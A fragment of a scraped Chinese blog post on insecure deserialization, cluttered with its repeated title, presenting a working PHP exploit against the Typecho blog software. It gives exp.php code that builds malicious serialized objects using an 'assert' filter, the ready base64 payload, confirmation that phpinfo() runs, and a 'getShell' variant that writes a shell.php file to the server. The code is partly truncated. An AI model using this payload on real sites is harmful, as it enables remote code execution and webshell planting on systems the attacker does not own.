草莓味的棉花糖|不安全的反序列化( 二 )


草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化// exp.php_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),); } }class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert'; }}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp));?>
草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=执行:
草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化phpinfo(); // 完美执行
getShell:
$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'')";
草莓味的棉花糖|不安全的反序列化
草莓味的棉花糖|不安全的反序列化


推荐阅读